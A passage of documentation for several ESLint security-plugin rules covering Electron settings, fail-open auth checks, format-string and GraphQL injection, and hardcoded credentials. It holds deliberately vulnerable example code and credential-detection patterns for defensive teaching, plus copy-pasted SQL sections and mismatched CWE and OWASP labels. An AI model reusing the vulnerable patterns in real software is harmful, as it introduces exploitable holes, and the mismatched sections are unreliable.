Execution (RCE) via Cross-Site Scripting (XSS). If an attacker can execute JavaScript on a page with `nodeIntegration: true`, they can execute system commands, access the file system, and compromise the user's machine. ## Rule Details [#rule-details] Electron applications can be vulnerable when not properly configured. Insecure settings allow attackers to: * Execute arbitrary Node.js code from renderer * Bypass context isolation protections * Perform privilege escalation * Access sensitive system resources ### Why This Matters [#why-this-matters] | Issue | Impact | Solution | | --------------------------- | ---------------------- | ----------------------- | | 💻 **RCE** | Full system compromise | Disable nodeIntegration | | 🔓 **Privilege Escalation** | Admin access | Enable contextIsolation | | 🌐 **XSS to RCE** | Remote code execution | Enable sandbox | ## Examples [#examples] ### ❌ Incorrect [#-incorrect] ```typescript // Node integration enabled (critical vulnerability) new BrowserWindow({ webPreferences: { nodeIntegration: true, // DANGEROUS! }, }); // Context isolation disabled new BrowserWindow({ webPreferences: { contextIsolation: false, // Allows prototype pollution }, }); // Web security disabled new BrowserWindow({ webPreferences: { webSecurity: false, // Allows loading insecure content }, }); // Sandbox disabled new BrowserWindow({ webPreferences: { sandbox: false, }, }); ``` ### ✅ Correct [#-correct] ```typescript // Secure Electron configuration new BrowserWindow({ webPreferences: { nodeIntegration: false, contextIsolation: true, sandbox: true, webSecurity: true, allowRunningInsecureContent: false, preload: path.join(__dirname, 'preload.js'), }, }); // Secure preload script // preload.js const { contextBridge, ipcRenderer } = require('electron'); contextBridge.exposeInMainWorld('api', { sendMessage: (channel, data) => { const validChannels = ['toMain']; if (validChannels.includes(channel)) { ipcRenderer.send(channel, data); } }, }); // Validate IPC channels ipcMain.handle('safe-channel', async (event, arg) => { // Validate and process return sanitizedResult; }); ``` ## Configuration [#configuration] ```javascript { rules: { 'secure-coding/no-electron-security-issues': ['error', { allowInDev: false, safePreloadPatterns: ['preload.js', 'preload.ts'], allowedIpcChannels: ['safe-channel', 'app:*'] }] } } ``` ## Options [#options] | Option | Type | Default | Description | | --------------------- | ---------- | --------------------------------- | -------------------------------------------------------- | | `allowInDev` | `boolean` | `false` | Allow insecure settings in development | | `safePreloadPatterns` | `string[]` | `["contextBridge","ipcRenderer"]` | Preload-script APIs treated as safe | | `allowedIpcChannels` | `string[]` | `[]` | IPC channel names allowed without validation | | `trustedSanitizers` | `string[]` | `[]` | Additional function names to consider as safe | | `trustedAnnotations` | `string[]` | `[]` | Additional JSDoc annotations to consider as safe markers | | `strictMode` | `boolean` | `false` | Disable all false positive detection (strict mode) | ## Error Message Format [#error-message-format] The rule provides **LLM-optimized error messages** (Compact 2-line format) with actionable security guidance: ```text ⚠️ CWE-16 OWASP:A02 CVSS:5.3 | Configuration detected | MEDIUM Fix: Review and apply the recommended fix | https://owasp.org/Top10/A02_2021/ ``` ### Message Components [#message-components] | Component | Purpose | Example | | :------------------------ | :--------------------- | :---------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- | | **Risk Standards** | Security benchmarks | [CWE-16](https://cwe.mitre.org/data/definitions/16.html) [OWASP:A02](https://owasp.org/Top10/A02_2021-Injection/) [CVSS:5.3](https://nvd.nist.gov/vuln-metrics/cvss/v3-calculator?vector=AV%3AN%2FAC%3AL%2FPR%3AN%2FUI%3AN%2FS%3AU%2FC%3AH%2FI%3AH%2FA%3AH) | | **Issue Description** | Specific vulnerability | `Configuration detected` | | **Severity & Compliance** | Impact assessment | `MEDIUM` | | **Fix Instruction** | Actionable remediation | `Follow the remediation steps below` | | **Technical Truth** | Official reference | [OWASP Top 10](https://owasp.org/Top10/A02_2021-Injection/) | ## Known False Negatives [#known-false-negatives] The following patterns are **not detected** due to static analysis limitations: ### Values from Variables [#values-from-variables] **Why**: Values stored in variables are not traced. ```typescript // ❌ NOT DETECTED - Value from variable const value = userInput; dangerousOperation(value); ``` **Mitigation**: Validate all user inputs. ### Wrapper Functions [#wrapper-functions] **Why**: Custom wrappers not recognized. ```typescript // ❌ NOT DETECTED - Wrapper myWrapper(userInput); // Uses dangerous API internally ``` **Mitigation**: Apply rule to wrapper implementations. ### Dynamic Invocation [#dynamic-invocation] **Why**: Dynamic calls not analyzed. ```typescript // ❌ NOT DETECTED - Dynamic obj[method](userInput); ``` **Mitigation**: Avoid dynamic method invocation. ## Further Reading [#further-reading] * **[Electron Security](https://electronjs.org/docs/tutorial/security)** - Official security guide * **[CWE-16](https://cwe.mitre.org/data/definitions/16.html)** - Configuration issues * **[OWASP Security Misconfiguration](https://owasp.org/Top10/A05_2021-Security_Misconfiguration/)** - General misconfiguration info * **[Electron Security Checklist](https://www.electronjs.org/docs/latest/tutorial/security#checklist-security-recommendations)** - Security recommendations ## Related Rules [#related-rules] * [`no-insufficient-postmessage-validation`](./no-insufficient-postmessage-validation.md) - postMessage validation * [`detect-eval-with-expression`](./detect-eval-with-expression.md) - Code injection # no-fail-open-auth **CWE:** [CWE-636](https://cwe.mitre.org/data/definitions/636.html) **OWASP:** [A10:2025 — Mishandling of Exceptional Conditions](https://owasp.org/Top10/2025/) Detects authentication and authorization checks whose `catch` block grants access. This rule is part of [`eslint-plugin-secure-coding`](https://www.npmjs.com/package/eslint-plugin-secure-coding). ## Quick Summary [#quick-summary] | Aspect | Details | | ----------------- | --------------------------------------------------------------------------------- | | **CWE Reference** | [CWE-636](https://cwe.mitre.org/data/definitions/636.html) (Not Failing Securely) | | **Severity** | High (CVSS 8.1 — `AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:N`) | | **Auto-Fix** | ❌ Not auto-fixable | | **Category** | Security | ## Vulnerability and Risk [#vulnerability-and-risk] **Vulnerability:** The failure path of a security decision resolves to *allow*. Either the handler hands back a truthy verdict (`return true`), or it swallows the error and execution falls through to the privileged work as though the check had passed. **Risk:** An attacker who can make verification **throw** — a malformed token, an expired signing key, an unreachable identity provider — gets the same outcome as one who passes it. The CVSS vector carries `AC:H` because the attacker must find an input that makes verification throw rather than merely return false; everything behind the check is then fully readable and writable. ## Rule Details [#rule-details] The rule reports a `CatchClause` when **both** of the following hold: 1. The `try` block contains a **security-decision call**, and 2. the `catch` clause **fails open**. ### 1. The security-decision call — the entire precision budget [#1-the-security-decision-call--the-entire-precision-budget] Auth SDKs are full of `try { … } catch { … }`, and virtually all of it wraps parsing, storage, telemetry and cleanup, where swallowing is correct behaviour. An "empty catch" rule is a formatting rule with a CWE glued on. **If the rule cannot see a security decision in the `try` block, it does not report.** A name is a security decision when it is: * a decision verb — `verify`, `validate`, `assert`, `check`, `ensure`, `require` — paired with an **enumerated** security noun: `Access`, `AccessToken`, `Admin`, `ApiKey`, `Auth`, `Authentication`, `Authorization`, `Authorized`, `Authenticated`, `Claim(s)`, `Credential(s)`, `Identity`, `IdToken`, `Jwt`, `Login`, `Password`, `Permission(s)`, `Role(s)`, `Scope(s)`, `Session`, `Signature`, `Token`; * a predicate verb — `is`, `has`, `can` — paired with `Access`, `Admin`, `Authenticated`, `Authorized`, `Owner`, `Permission(s)`, `Role(s)`; * one of `authenticate`, `authorize`, `introspectToken`, `decodeAndVerify`. Two deliberate exclusions: * **Bare verbs are out.** `verify(…)`, `validate(…)`, `check(…)`, `assert(…)` are the most common verbs in any codebase and decide nothing on their own. Admitting them would admit `sinon.verify`, `mock.verify`, `schema.validate` — and `jwt.verify(token, key)`, which is a real miss (see [Known False Negatives](#known-false-negatives)). * **The noun list is enumerated, not a `\w*` suffix.** Measured on okta-auth-js: `assertAuthSdkError`, `assertAuthStatusText` and `verifyAuthJSVersion` all match `assert|verify + Auth\w*`, and none of them decides anything about a caller's access. The anchored enumeration matches none of them. A decision inside a callback declared in the `try` does not count — it does not run in the `try`. ### 2. What counts as failing open [#2-what-counts-as-failing-open] | Catch body | Verdict | | ---------------------------------------------------------------------------------------------------------------- | ----------------- | | `return true` / `return 1` / `return 'ok'` — a truthy **literal** | `failOpenReturn` | | no `throw`, no `return`, no `break`/`continue`, no denial call — and code follows the try/catch | `failOpenSwallow` | | `return false` / `null` / `0` / `''` / `undefined`, or a bare `return` | not reported | | `throw` (rethrow or new error), in the handler or in `finally` | not reported | | `res.status(4xx)`, `res.sendStatus(…)`, `next(err)`, `reject(err)`, `process.exit(…)`, `logout()`, `redirect(…)` | not reported | Object and array literals are **not** treated as grants: in a catch block `return { error: err }` is far more often an error envelope than a grant, and `return { authorized: true }` is the price paid for not reporting every one of those. A non-constant return (`return cached`) says nothing statically. The swallow case additionally requires **work after the try/catch** in the same block. That is what makes a swallowed error a *fail-open* rather than merely an ignored one: when the try/catch is the tail of a function, nothing downstream was gated on it in that scope — the shape of a fire-and-forget refresh or audit call, which auth SDKs swallow on purpose. ## Examples [#examples] ### ❌ Incorrect [#-incorrect] ```javascript // The catch hands back a grant. function isAuthorized(token) { try { return verifyToken(token).valid; } catch (err) { return true; // verification failure ⇒ access granted } } // The catch swallows and the privileged work runs anyway. async function handleAdminAction(req, res) { let actor = null; try { actor = await assertAdmin(req.headers.authorization); } catch (err) { // ignore } await purgeTable(req.body.table); // runs whether or not the caller is an admin res.json({ ok: true, actor: actor && actor.id }); } ``` ### ✅ Correct [#-correct] ```javascript // Deny on failure, and say why. function isAuthorized(token) { try { return verifyToken(token).valid === true; } catch (err) { logger.warn({ event: 'token_verify_failed', reason: err.name }); return false; } } // Or rethrow before the guarded work is reached. async function handleAdminAction(req, res) { let actor; try { actor = await assertAdmin(req.headers.authorization); } catch (err) { logger.error({ event: 'admin_assert_failed', reason: err.name }); throw err; } await purgeTable(req.body.table); res.json({ ok: true, actor: actor.id }); } ``` ## Configuration [#configuration] ```javascript { rules: { 'secure-coding/no-fail-open-auth': ['error', { securityDecisions: ['gateKeeper', 'mustBeStaff'] }] } } ``` ## Options [#options] | Option | Type | Default | Description | | ------------------- | ---------- | ------- | ------------------------------------------------------------------------ | | `securityDecisions` | `string[]` | `[]` | Additional call names to treat as authentication/authorization decisions | ## Error Message Format [#error-message-format] ``` 🔒 CWE-636 OWASP:A10-Mishandling CVSS:8.1 | Security check fails open — the catch block returns a truthy verdict, so a verification error grants access | HIGH Fix: Return the deny value from the catch block (return false / null) and log the error | https://cwe.mitre.org/data/definitions/636.html 🔒 CWE-636 OWASP:A10-Mishandling CVSS:8.1 | Security check fails open — the catch block swallows the error and execution continues into the code the check was guarding | HIGH Fix: Rethrow, return a deny value, or send a 401/403 from the catch block before the guarded work runs | https://cwe.mitre.org/data/definitions/636.html ``` ## Known False Negatives [#known-false-negatives] Each of these is the cost of the precision gate, and each is deliberate. ### Bare-verb verification APIs [#bare-verb-verification-apis] **Why**: `verify`, `validate` and `check` on their own are not security decisions — they are the most common verbs in any codebase. ```javascript // ❌ NOT DETECTED try { jwt.verify(token, key); } catch (e) {} grantAccess(); ``` **Mitigation**: Add the wrapper you actually call to `securityDecisions`, or name it `verifyToken` / `assertAdmin`. ### Grants that are not literals [#grants-that-are-not-literals] **Why**: `return ALLOW`, `return cachedVerdict` and `return { authorized: true }` are not statically known to be grants, and object literals in a catch are usually error envelopes. ```javascript // ❌ NOT DETECTED try { return checkPermission(u); } catch (e) { return ALLOW; } ``` **Mitigation**: Return a literal deny value from catch blocks and let callers map it. ### Decisions inside callbacks [#decisions-inside-callbacks] **Why**: A call inside a function declared in the `try` does not execute in the `try`, so its failure does not reach that `catch`. ```javascript // ❌ NOT DETECTED try { ids.map((id) => checkPermission(id)); } catch (e) {} purge(); ``` **Mitigation**: `await` the decision in the `try` block itself. ### Denial idioms that still fall through [#denial-idioms-that-still-fall-through] **Why**: `next(err)` and `reject(err)` do not stop the handler either — strictly they still fall through — but they are the idiomatic denial in Express and in a promise executor, and reporting them would be arguing with a convention rather than finding a bug. ```javascript // ❌ NOT DETECTED — and usually correct try { requireAuth(req); } catch (e) { next(e); } purge(); ``` **Mitigation**: `return next(e);`. ## Further Reading [#further-reading] * **[CWE-636: Not Failing Securely ('Failing Open')](https://cwe.mitre.org/data/definitions/636.html)** - Official CWE entry * **[OWASP Top 10 2025 — A10 Mishandling of Exceptional Conditions](https://owasp.org/Top10/2025/)** - Category documentation ## Related Rules [#related-rules] * [`no-missing-authentication`](./no-missing-authentication.md) - Endpoints with no authentication at all * [`require-backend-authorization`](./require-backend-authorization.md) - Client-side-only authorization checks * [`no-unhandled-stream-error`](./no-unhandled-stream-error.md) - Uncaught exceptions from unhandled stream errors # no-format-string-injection **CWE:** [CWE-74](https://cwe.mitre.org/data/definitions/74.html)\ **OWASP Mobile:** [OWASP Mobile Top 10](https://owasp.org/www-project-mobile-top-10/) Detects format string injection vulnerabilities. This rule is part of [`eslint-plugin-secure-coding`](https://www.npmjs.com/package/eslint-plugin-secure-coding). 💼 This rule is set to **error** in the `recommended` config. ## Quick Summary [#quick-summary] | Aspect | Details | | ----------------- | ---------------------------------------------------------------------------------------- | | **CWE Reference** | [CWE-134](https://cwe.mitre.org/data/definitions/134.html) (Format String Vulnerability) | | **Severity** | Critical (CVSS 9.8) | | **Auto-Fix** | 💡 Suggestions available | | **Category** | Security | ## Vulnerability and Risk [#vulnerability-and-risk] **Vulnerability:** Format string injection occurs when user input is passed as the format string argument to functions like `printf` or `util.format` in Node.js. **Risk:** Attackers can use format specifiers (like `%s`, `%d`, or `%n`) to read data from the stack, crash the application (DoS), or potentially execute arbitrary code if the underlying library or language supports writing to memory via format strings. ## Rule Details [#rule-details] Format string injection occurs when user input is used as a format string in functions like `util.format()`, `printf`-style functions, or logging functions. Attackers can use format specifiers (%s, %d, %x) to: * Leak sensitive memory contents * Crash the application (DoS) * Read stack data and bypass ASLR * Potentially execute arbitrary code ### Why This Matters [#why-this-matters] | Issue | Impact | Solution | | --------------------- | ---------------------- | -------------------------- | | 💾 **Memory Leak** | Information disclosure | Use static format strings | | 💥 **Crash** | Denial of service | Validate format specifiers | | 🔓 **Code Execution** | Full system compromise | Escape user input | ## Examples [#examples] ### ❌ Incorrect [#-incorrect] ```typescript // User input as format string const message = util.format(userInput, data); // Printf-style with user-controlled format console.log(userFormat, value); logger.info(req.body.message); // Template string from user input const format = getUserFormat(); const output = sprintf(format, ...args); ``` ### ✅ Correct [#-correct] ```typescript util.format("User: %s, Age: %d", name, age); ``` ## Configuration [#configuration] ```javascript { rules: { 'secure-coding/no-format-string-injection': ['error', { formatFunctions: ['util.format', 'sprintf', 'printf'], formatSpecifiers: ['%s', '%d', '%x', '%n'], userInputVariables: ['req', 'request', 'input', 'body'] }] } } ``` ## Options [#options] | Option | Type | Default | Description | | --------------------- | ---------- | -------------------------------------------------------------------------------------------- | ----------------------------------------------------------------- | | `formatFunctions` | `string[]` | `["util.format","console.log","console.error","console.warn","sprintf","printf","vsprintf"]` | Functions whose first argument is a format string | | `formatSpecifiers` | `string[]` | `["%s","%d","%i","%f","%j","%o","%O","%c","%%"]` | Format specifiers recognised in a format string | | `userInputVariables` | `string[]` | `["req","request","body","query","params","input","data","userInput"]` | Variable names treated as user-controlled input | | `safeFormatLibraries` | `string[]` | `["mustache","handlebars","ejs","pug"]` | Templating libraries that escape their own input | | `trustedSanitizers` | `string[]` | `[]` | Additional function names to consider as format string sanitizers | | `trustedAnnotations` | `string[]` | `[]` | Additional JSDoc annotations to consider as safe markers | | `strictMode` | `boolean` | `false` | Disable all false positive detection (strict mode) | ## Error Message Format [#error-message-format] ``` 🔒 CWE-134 OWASP:A03-Injection CVSS:9.8 | Format String Injection | CRITICAL [SOC2,PCI-DSS] Fix: Use hardcoded format strings or validate user formats | https://cwe.mitre.org/... ``` ## Known False Negatives [#known-false-negatives] The following patterns are **not detected** due to static analysis limitations: ### Query from Variable [#query-from-variable] **Why**: Query strings from variables not traced. ```typescript // ❌ NOT DETECTED - Query from variable const query = `SELECT * FROM users WHERE id = ${userId}`; db.execute(query); ``` **Mitigation**: Always use parameterized queries. ### Custom Query Builders [#custom-query-builders] **Why**: Custom ORM/query builders not recognized. ```typescript // ❌ NOT DETECTED - Custom builder customQuery.where(userInput).execute(); ``` **Mitigation**: Review all query builder patterns. ### Template Engines [#template-engines] **Why**: Template-based queries not analyzed. ```typescript // ❌ NOT DETECTED - Template executeTemplate('query.sql', { userId }); ``` **Mitigation**: Validate all template variables. ## Further Reading [#further-reading] * **[CWE-134](https://cwe.mitre.org/data/definitions/134.html)** - Format string vulnerability * **[OWASP Format String](https://owasp.org/www-community/attacks/Format_string_attack)** - Attack techniques ## Related Rules [#related-rules] * [`no-sql-injection`](./no-sql-injection.md) - SQL injection prevention * [`detect-eval-with-expression`](./detect-eval-with-expression.md) - Code injection prevention # no-graphql-injection **CWE:** [CWE-74](https://cwe.mitre.org/data/definitions/74.html)\ **OWASP Mobile:** [OWASP Mobile Top 10](https://owasp.org/www-project-mobile-top-10/) Detects GraphQL injection vulnerabilities and DoS attacks. This rule is part of [`eslint-plugin-secure-coding`](https://www.npmjs.com/package/eslint-plugin-secure-coding) and provides LLM-optimized error messages. 💼 This rule is set to **error** in the `recommended` config. ## Quick Summary [#quick-summary] | Aspect | Details | | ----------------- | ------------------------------------------------------------------------------------------------------------------------------------------------ | | **CWE Reference** | [CWE-943](https://cwe.mitre.org/data/definitions/943.html) (GraphQL Injection), [CWE-400](https://cwe.mitre.org/data/definitions/400.html) (DoS) | | **Severity** | Critical | | **Auto-Fix** | 💡 Suggestions available | | **Category** | Security | ## Value & investment case [#value--investment-case] > Why this rule pays for itself. Framework: [`cicd-impact/philosophy.md`](../../../../cicd-impact/philosophy.md). | Dimension | Value | | :--------------------------- | :------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------ | | **CWE** | [CWE-943](https://cwe.mitre.org/data/definitions/943.html) — Improper Neutralization in Data Query Logic + [CWE-400](https://cwe.mitre.org/data/definitions/400.html) (DoS) | | **Feedback-loop tier** | Editor / pre-commit (sub-second) — cheapest layer per the [feedback-loop hierarchy](../../../../cicd-impact/philosophy.md#the-feedback-loop-hierarchy--why-a-high-end-static-analyzer-is-the-highest-leverage-investment) | | **Defensive-layer leverage** | \~10× cheaper than unit-test · \~1,000× cheaper than production rollback · 10,000+× cheaper than customer disclosure ([cost-ratio anchors](../../../../cicd-impact/philosophy.md#deliverability-axis--quality-risk-and-ma-diligence)) | | **Niche relevance** | **Critical:** B2B SaaS (GraphQL-heavy modern API surface), fintech · **High:** marketplaces, infra/devtools, healthtech · **Medium:** B2C | | **Investor-frame impact** | GraphQL injection → unauthorized data access across multiple tenants in a B2B SaaS = single-incident multi-customer disclosure cycle. Catch at lint-time prevents the breach class entirely. | **Read also:** [`philosophy.md` §investor-frame](../../../../cicd-impact/philosophy.md#the-investor-frame--engineering-efficiency-as-a-portfolio-metric) · [`niche-presets.json`](../../../../cicd-impact/data/niche-presets.json) · [`analyzer-evaluation-framework.md`](../../../../cicd-impact/analyzer-evaluation-framework.md) ## Vulnerability and Risk [#vulnerability-and-risk] **Vulnerability:** GraphQL injection arises when backend queries are constructed dynamically using user inputs via string concatenation or interpolation, instead of using standard GraphQL variables. **Risk:** Attackers can manipulate the query structure to bypass permissions, access unauthorized data fields, perform Denial of Service (DoS) via nested queries, or execute batching attacks to overload the server. ## Rule Details [#rule-details] GraphQL injection occurs when user input is improperly inserted into GraphQL queries, allowing attackers to: * Read or modify unauthorized data * Perform DoS attacks with complex/nested queries * Extract schema information via introspection ### What counts as a GraphQL document [#what-counts-as-a-graphql-document] A template literal is not a GraphQL query just because it has braces in it. Two requirements were tightened in 2026-07 after a 1,470-file corpus run (webpack, lodash, eslint-plugin-import, two NestJS boilerplates) produced 41 findings at CVSS 9.8, every one of them an ordinary message or code-generation string: 1. **Operation and schema keywords must start a line.** GraphQL declares `query`, `mutation`, `subscription`, `fragment`, `type`, `interface`, `enum`, `scalar` and `input` at the start of a line; English mentions them mid-clause. Matching them anywhere in the text turned `` `Please specify --type ${a} or ${b}` `` and `` `Invalid type ${t}` `` into GraphQL-injection findings. A schema keyword additionally requires the text to contain a `{` — a type definition has a body. 2. **A bare selection set must BE the whole string.** Nested braces inside a larger message are not a selection set. Requiring the trimmed text to start with `{` and end with `}` is what stops webpack's `` `resolve.fallback: { "${request}": require.resolve("${alias}") }` `` from matching. String concatenations are evaluated on their reassembled **static string value**, not on `sourceCode.getText()` — otherwise the JS quoting (`"query {…`) sits in front of the query and defeats the start-of-line test. ### Why This Matters [#why-this-matters] | Issue | Impact | Solution | | ---------------- | ------------------------ | ----------------------------------- | | 🔒 **Injection** | Unauthorized data access | Use GraphQL variables | | 🔥 **DoS** | Service unavailability | Limit query depth/complexity | | 🔍 **Info Leak** | Schema exposure | Disable introspection in production | ## Examples [#examples] ### ❌ Incorrect [#-incorrect] ```typescript // String interpolation in GraphQL query const query = ` query { user(id: "${userId}") { name email } } `; // Introspection query in production const introspect = `{ __schema { types { name } } }`; // String concatenation const searchQuery = 'query { users(name: "' + userInput + '") { id } }'; ``` ### ✅ Correct [#-correct] ```typescript // Use GraphQL variables const query = gql` query GetUser($userId: ID!) { user(id: $userId) { name email } } `; await client.query({ query, variables: { userId } }); // Use query builders import { buildQuery } from 'graphql-tools'; const safeQuery = buildQuery({ user: { id: userId } }); ``` ## Configuration [#configuration] ```javascript { rules: { 'secure-coding/no-graphql-injection': ['error', { allowIntrospection: false, // Disable introspection detection maxQueryDepth: 10, // Maximum query nesting depth trustedGraphqlLibraries: ['graphql', 'apollo-server', 'graphql-tools'], validationFunctions: ['validate', 'sanitize'] }] } } ``` ## Options [#options] | Option | Type | Default | Description | | ---------------------------- | ---------- | ----------------------------------------------------------- | ------------------------------------------------------------------------------------------------- | | `allowIntrospection` | `boolean` | `false` | Allow introspection queries | | `maxQueryDepth` | `number` | `10` | Maximum query nesting depth before reporting a DoS risk | | `trustedGraphqlLibraries` | `string[]` | `["graphql","apollo-server","graphql-tools","graphql-tag"]` | GraphQL libraries recognised as query builders | | `validationFunctions` | `string[]` | `["validate","sanitize","isValid","assertValid"]` | Function names that count as query validation | | `safeTemplateLiteralCallers` | `string[]` | `[]` | Additional callers where template literals are never GraphQL. Format: object.method or ClassName. | | `trustedSanitizers` | `string[]` | `[]` | Additional function names to consider as GraphQL sanitizers | | `trustedAnnotations` | `string[]` | `[]` | Additional JSDoc annotations to consider as safe markers | | `strictMode` | `boolean` | `false` | Disable all false positive detection (strict mode) | ## Error Message Format [#error-message-format] ``` 🔒 CWE-943 OWASP:A03-Injection CVSS:8.6 | GraphQL Injection detected | CRITICAL [SOC2,PCI-DSS] Fix: Use GraphQL variables instead of string interpolation | https://owasp.org/... ``` ## Known False Negatives [#known-false-negatives] The following patterns are **not detected** due to static analysis limitations: ### Query from Variable [#query-from-variable] **Why**: Query strings from variables not traced. ```typescript // ❌ NOT DETECTED - Query from variable const query = `SELECT * FROM users WHERE id = ${userId}`; db.execute(query); ``` **Mitigation**: Always use parameterized queries. ### Custom Query Builders [#custom-query-builders] **Why**: Custom ORM/query builders not recognized. ```typescript // ❌ NOT DETECTED - Custom builder customQuery.where(userInput).execute(); ``` **Mitigation**: Review all query builder patterns. ### Template Engines [#template-engines] **Why**: Template-based queries not analyzed. ```typescript // ❌ NOT DETECTED - Template executeTemplate('query.sql', { userId }); ``` **Mitigation**: Validate all template variables. ## Further Reading [#further-reading] * **[GraphQL Security](https://graphql.org/learn/authorization/)** - Official security guide * **[Apollo Security Checklist](https://www.apollographql.com/docs/apollo-server/security/)** - Production security * **[CWE-943](https://cwe.mitre.org/data/definitions/943.html)** - GraphQL injection documentation ## Related Rules [#related-rules] * [`no-sql-injection`](./no-sql-injection.md) - SQL injection prevention * [`detect-eval-with-expression`](./detect-eval-with-expression.md) - Code injection prevention # no-hardcoded-credentials **CWE:** [CWE-522](https://cwe.mitre.org/data/definitions/522.html)\ **OWASP Mobile:** [M1: Improper Credential Usage](https://owasp.org/www-project-mobile-top-10/) Detects hardcoded passwords, API keys, tokens, and other sensitive credentials in source code. This rule is part of [`eslint-plugin-secure-coding`](https://www.npmjs.com/package/eslint-plugin-secure-coding) and provides LLM-optimized error messages that AI assistants can automatically fix. 💼 This rule ***errors*** by default in the `recommended` config. ## Quick Summary [#quick-summary] | Aspect | Details | | ----------------- | ------------------------------------------------------------------------------------------ | | **CWE Reference** | [CWE-798](https://cwe.mitre.org/data/definitions/798.html) (Use of Hard-coded Credentials) | | **Severity** | Critical (security vulnerability) | | **Auto-Fix** | ✅ Yes (suggests environment variables or secret managers) | | **Category** | Security | | **ESLint MCP** | ✅ Optimized for ESLint MCP integration | | **Best For** | All applications handling sensitive data, API integrations, database connections | ## Value & investment case [#value--investment-case] > Why this rule pays for itself. Framework: [`cicd-impact/philosophy.md`](../../../../cicd-impact/philosophy.md). | Dimension | Value | | :--------------------------- | :------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------ | | **CWE** | [CWE-798](https://cwe.mitre.org/data/definitions/798.html) — Use of Hard-coded Credentials | | **Feedback-loop tier** | Editor / pre-commit (sub-second) — cheapest layer per the [feedback-loop hierarchy](../../../../cicd-impact/philosophy.md#the-feedback-loop-hierarchy--why-a-high-end-static-analyzer-is-the-highest-leverage-investment) | | **Defensive-layer leverage** | \~10× cheaper than unit-test · \~1,000× cheaper than production rollback · **10,000+× cheaper than customer disclosure** — secrets in code are the textbook long-tail disclosure event ([cost-ratio anchors](../../../../cicd-impact/philosophy.md#deliverability-axis--quality-risk-and-ma-diligence)) | | **Niche relevance** | **Critical:** fintech, healthtech, cybersecurity (mandatory disclosure on breach + regulatory penalty) · **High:** B2B SaaS, infra/devtools · **Medium:** B2C, marketplaces · **Lower (still important):** gaming | | **Investor-frame impact** | Hardcoded credentials → no rotation possible → on detection, full breach disclosure cycle. [IBM Cost of a Data Breach 2024](https://www.ibm.com/reports/data-breach): median credentials-related breach $4.5M; healthcare-specific $9.8M. One catch at lint-time prevents the entire cycle. | **Read also:** [`philosophy.md` §investor-frame](../../../../cicd-impact/philosophy.md#the-investor-frame--engineering-efficiency-as-a-portfolio-metric) · [`niche-presets.json`](../../../../cicd-impact/data/niche-presets.json) · [`analyzer-evaluation-framework.md`](../../../../cicd-impact/analyzer-evaluation-framework.md) ## Vulnerability and Risk [#vulnerability-and-risk] **Vulnerability:** Embedding sensitive credentials (like passwords, API keys, or database connection strings) directly in the source code. **Risk:** This leads to credential exposure in version control systems, making them accessible to any developer with repository access or attackers if the code is leaked. It also makes credential rotation difficult and error-prone. ## Error Message Format [#error-message-format] The rule provides **LLM-optimized error messages** (Compact 2-line format) with actionable security guidance: ```text 🔒 CWE-798 OWASP:A04 CVSS:9.8 | Hardcoded Credentials detected | CRITICAL [SOC2,PCI-DSS,HIPAA,GDPR,ISO27001,NIST-CSF] Fix: Review and apply the recommended fix | https://owasp.org/Top10/A04_2021/ ``` ### Message Components [#message-components] | Component | Purpose | Example | | :------------------------ | :--------------------- | :------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------ | | **Risk Standards** | Security benchmarks | [CWE-798](https://cwe.mitre.org/data/definitions/798.html) [OWASP:A04](https://owasp.org/Top10/A04_2021-Injection/) [CVSS:9.8](https://nvd.nist.gov/vuln-metrics/cvss/v3-calculator?vector=AV%3AN%2FAC%3AL%2FPR%3AN%2FUI%3AN%2FS%3AU%2FC%3AH%2FI%3AH%2FA%3AH) | | **Issue Description** | Specific vulnerability | `Hardcoded Credentials detected` | | **Severity & Compliance** | Impact assessment | `CRITICAL [SOC2,PCI-DSS,HIPAA,GDPR,ISO27001,NIST-CSF]` | | **Fix Instruction** | Actionable remediation | `Follow the remediation steps below` | | **Technical Truth** | Official reference | [OWASP Top 10](https://owasp.org/Top10/A04_2021-Injection/) | ## Rule Details [#rule-details] Hardcoded credentials are one of the most common security vulnerabilities. This rule detects passwords, API keys, tokens, and other sensitive values that are directly embedded in source code, which can be exposed in version control systems. ### Why This Matters [#why-this-matters] | Issue | Impact | Solution | | --------------------- | ----------------------------------- | -------------------------- | | 🔒 **Security** | Credentials exposed in git history | Use environment variables | | 🐛 **Data Breach** | API keys can be stolen from code | Secret management services | | 🔐 **Access Control** | Passwords visible to all developers | AWS Secrets Manager, Vault | | 📊 **Compliance** | Violates security best practices | CI/CD secret injection | ## Detection Patterns [#detection-patterns] **The rule decides on the VALUE's shape, never on the key name alone.** A credential-shaped name (`password`, `apiKey`, `secret`) is necessary-but-not- sufficient: it can promote an ambiguous value, but it can never turn a message constant into a finding. That distinction is the whole rule. Name-driven matching reported `errors: { password: 'incorrectPassword' }` — an i18n error key — at CVSS 9.8, and on a 1,470-file corpus (webpack, lodash, eslint-plugin-import, two NestJS boilerplates) that single pattern was 5 of 10 findings. The genuinely committed 50-character API secret in the same corpus was found by *shape*. ### Tier 1 — structural, reported on shape alone [#tier-1--structural-reported-on-shape-alone] * **Prefixed API keys**: Stripe (`sk_live_…`, `pk_test_…`), GitHub OAuth (`ghp_`, `gho_`, `ghu_`, `ghs_`, `ghr_`), AWS (`AKIA…`) * **JWTs**: `eyJ…` with three dot-separated base64 parts * **Database connection strings**: `protocol://user:pass@host` * **Random blobs**: 32+ contiguous alphanumeric characters, mixed case, with digits, Shannon entropy ≥ 3.5 bits/char, and no ascending character run. The charset is strict — punctuation rules a value out, because generated-code strings (`installedChunkData[1](error);`), comma-separated keyword lists and Postgres constraint names (`PK_b36bcfe02fc8de3c57a8b2391c2`) all carry punctuation that no API key does. The ascending-run check excludes charset constants such as `'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789'`, which are maximally high-entropy and the exact opposite of a secret. ### Tier 2 — shape AND a credential-named slot [#tier-2--shape-and-a-credential-named-slot] * **Random blobs of 20–31 characters**, e.g. `{ key: 'fyFGb7ywyM37TqDY8nuhAmGW5' }`. Shape alone is not enough at this length: `CreateUser1715028537217`, a TypeORM migration class name, passes every shape test there is. * **Long base64 / hex strings** (32+), which also appear as hashes and IDs * **Common weak passwords** (`password`, `admin`, `123456`) 